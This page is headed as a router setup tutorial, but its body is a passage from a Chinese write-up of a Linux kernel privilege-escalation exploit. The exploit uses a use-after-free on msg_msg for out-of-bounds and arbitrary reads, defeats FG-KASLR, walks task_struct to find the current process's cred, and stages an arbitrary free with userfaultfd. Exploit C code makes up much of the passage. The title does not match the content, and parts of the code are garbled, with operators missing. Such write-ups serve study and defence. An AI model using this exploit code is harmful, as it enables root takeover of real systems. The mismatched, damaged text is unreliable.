msg1500路由器设置教程,傻瓜路由器参数设置

首页 > 实用技巧 > 作者:YD1662023-11-30 22:49:44

泄露内存利用UAF改大 QID #0 队列的消息msg_msg->m_ts,调用msgrcv()越界读取 QID #0 队列的第1个消息,m_list.next (指向下一个消息 kmalloc-4096)和 m_list.prev (指向QID #1队列),最后我们还能泄露 sysfs_bin_kfops_ro,由于该符号位于内核的data节,所以不受FG-KASLR保护的影响,所以可以用来计算内核基址。

[...] void *recv_msg(int qid, size_t size) { void *memdump = malloc(size); if (msgrcv(qid, memdump, size, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR) == -1) { perror("msgrcv"); return NULL; } return memdump; } [...] uint64_t *arb_read(int idx, uint64_t target, size_t size, int overwrite) { struct evil_msg *msg = (struct evil_msg *)malloc(0x100); msg->m_type = 0; msg->m_ts = size; // [2] 调用edit_rule()覆盖目标对象的 m_ts 域 if (overwrite) { msg->next = target; edit_rule(idx, (unsigned char *)msg, OUTBOUND, 0); } else { edit_rule(idx, (unsigned char *)msg, OUTBOUND, 1); // [3] } free(msg); return recv_msg(qid[0], size); // [4] 调用 recv_msg(),也即msgrcv()的包装函数,注意使用 MSG_COPY flag, 就能泄露内存。由于我们破坏了 m_list.next 和 m_list.prev 指针,所以如果不使用 MSG_COPY flag 的话,do_msgrcv() 就会 unlink message,导致出错崩溃。 } [...] uint64_t *leak = arb_read(0, 0, 0x2000, 0); // [1] 调用 arb_read(), 参数0x2000 [...]

msg1500路由器设置教程,傻瓜路由器参数设置(9)

4.2 步骤2——越界读到任意读,泄露当前进程的cred地址

思路:根据sysfs_bin_kfops_ro 地址可计算出内核基址,得到init_task的地址,即系统执行的第一个进程的 task_struct 结构。 task_struct 中有3个成员很重要:tasks 包含指向前后 task_struct的指针(偏移0x298),pid 进程号(偏移0x398),cred 进程的凭证(偏移0x540)。

exp中,我们调用 find_current_task() 来遍历所有的task [1],从init_task开始找到当前进程的task_struct [2],find_current_task()多次调用 arb_read(),利用UAF篡改msg_msg->m_ts 和msg_msg->next指针,调用msgrcv()泄露出指向下一个task的tasks->next指针 [3] 和 PID [4],然后直到找到当前task。

[...] uint64_t find_current_task(uint64_t init_task) { pid_t pid, next_task_pid; uint64_t next_task; pid = getpid(); printf("[ ] Current task PID: %d\n", pid); puts("[*] Traversing tasks..."); leak = arb_read(0, init_task 8, 0x1500, 1) 0x1f9; next_task = leak[0x298/8] - 0x298; leak = arb_read(0, next_task 8, 0x1500, 1) 0x1f9; next_task_pid = leak[0x398/8]; while (next_task_pid != pid) // [2] { next_task = leak[0x298/8] - 0x298; // [3] leak = arb_read(0, next_task 8, 0x2000, 1) 0x1f9; next_task_pid = leak[0x398/8]; // [4] } puts("[ ] Current task found!"); return next_task; } [...] puts("[*] Locating current task address..."); uint64_t current_task = find_current_task(init_task); // [1] printf("[ ] Leaked current task address: 0x%lx\n", current_task); [...]

具体:篡改 msg_msg->m_ts 为0x2000,篡改 msg_msg->next指针指向 task_struct结构(注意头8字节为null),遍历双链表直到读取到当前进程的task_struct。同理泄露当前进程的cred地址。

[...] leak = arb_read(0, current_task, 0x2000, 1) 0x1fa; cred_struct = leak[0x540/8]; printf("[ ] Leaked current task cred struct: 0x%lx\n", cred_struct); [...]

msg1500路由器设置教程,傻瓜路由器参数设置(10)

4.3 步骤3——任意释放

目标:目前已获取当前进程的task地址和cred地址,需构造任意写,但前提需要构造任意释放。根本目标是构造重叠的kmalloc-4096堆块,让其既充当一个消息的msg_msgseg segment,又充当另一个消息的msg_msg,这样就能覆写msg_msg->next指针构造任意写。 问题,为什么不构造重叠的kmalloc-64?因为kmalloc-64作为msg_msg的话不可能有segment,不能伪造它的msg_msg->next来任意写;且传入的长度已确定,无法写segment来任意写。

释放消息:首先释放QID #1中的消息,两次调用msgrcv()(不带MSG_COPY flag)。

[...] msgrcv(qid[1], memdump, 0x1ff8, 1, IPC_NOWAIT | MSG_NOERROR); // [1] msgrcv(qid[1], memdump, 0x1ff8, 1, IPC_NOWAIT | MSG_NOERROR); // [2] [...]

内存布局如下:

msg1500路由器设置教程,傻瓜路由器参数设置(11)

kmalloc-4096释放顺序:注意,前面的exp中,我们泄露了kmalloc-4096的地址(QID #1 中消息2的msg_msg地址),前面我们第2次调用msgrcv()时,内核调用 do_msgrcv() -> free_msg() 先释放 kmalloc-4096的msg_msg,再释放kmalloc-4096的segment,由于后进先出,分配新的消息时会先获取segment对应的kmalloc-4096,所以新的msg_msg占据之前的segment,新的segment占据之前的msg_msg。

申请消息-QID #2:子线程创建新消息,首先创建队列QID #2 [2],再调用msgsnd()创建0x1ff8大小的消息(0x30的头和0x1fc8的数据),内核中会创建0x30 0xfd0大小的msg_msg和0x8 0xff8大小的msg_msgseg。

用户传入数据位于page_1 PAGE_SIZE - 0x10,使用 userfaultfd 来监视 page_1 PAGE_SIZE 位置,等待页错误,第2个页错误。当load_msg()调用copy_from_user()拷贝时触发页错误,结果如下图所示,现在我们已知新的segment地址(QID #1 中消息2的msg_msg地址),原因已经阐明。QID #2 布局如下图所示:

[...] void *allocate_msg1(void *_) { printf("[Thread 1] Message buffer allocated at 0x%lx\n", page_1 PAGE_SIZE - 0x10); if ((qid[2] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT)) == -1) // [2] 创建队列 QID #2 { perror("msgget"); exit(1); } memset(page_1, 0, PAGE_SIZE); ((unsigned long *)(page_1))[0xff0 / 8] = 1; if (msgsnd(qid[2], page_1 PAGE_SIZE - 0x10, 0x1ff8 - 0x30, 0) < 0) // [3] 调用msgsnd() 创建0x1ff8大小的消息,新的`msg_msg`占据之前的segment,新的segment占据之前的`msg_msg`。 { puts("msgsend failed!"); perror("msgsnd"); exit(1); } puts("[Thread 1] Message sent, *next overwritten!"); } [...] pthread_create(&tid[2], NULL, allocate_msg1, NULL); // [1] 子线程创建新消息 [...]

msg1500路由器设置教程,傻瓜路由器参数设置(12)

上一页12345下一页

栏目热文

文档排行

本站推荐

Copyright © 2018 - 2021 www.yd166.com., All Rights Reserved.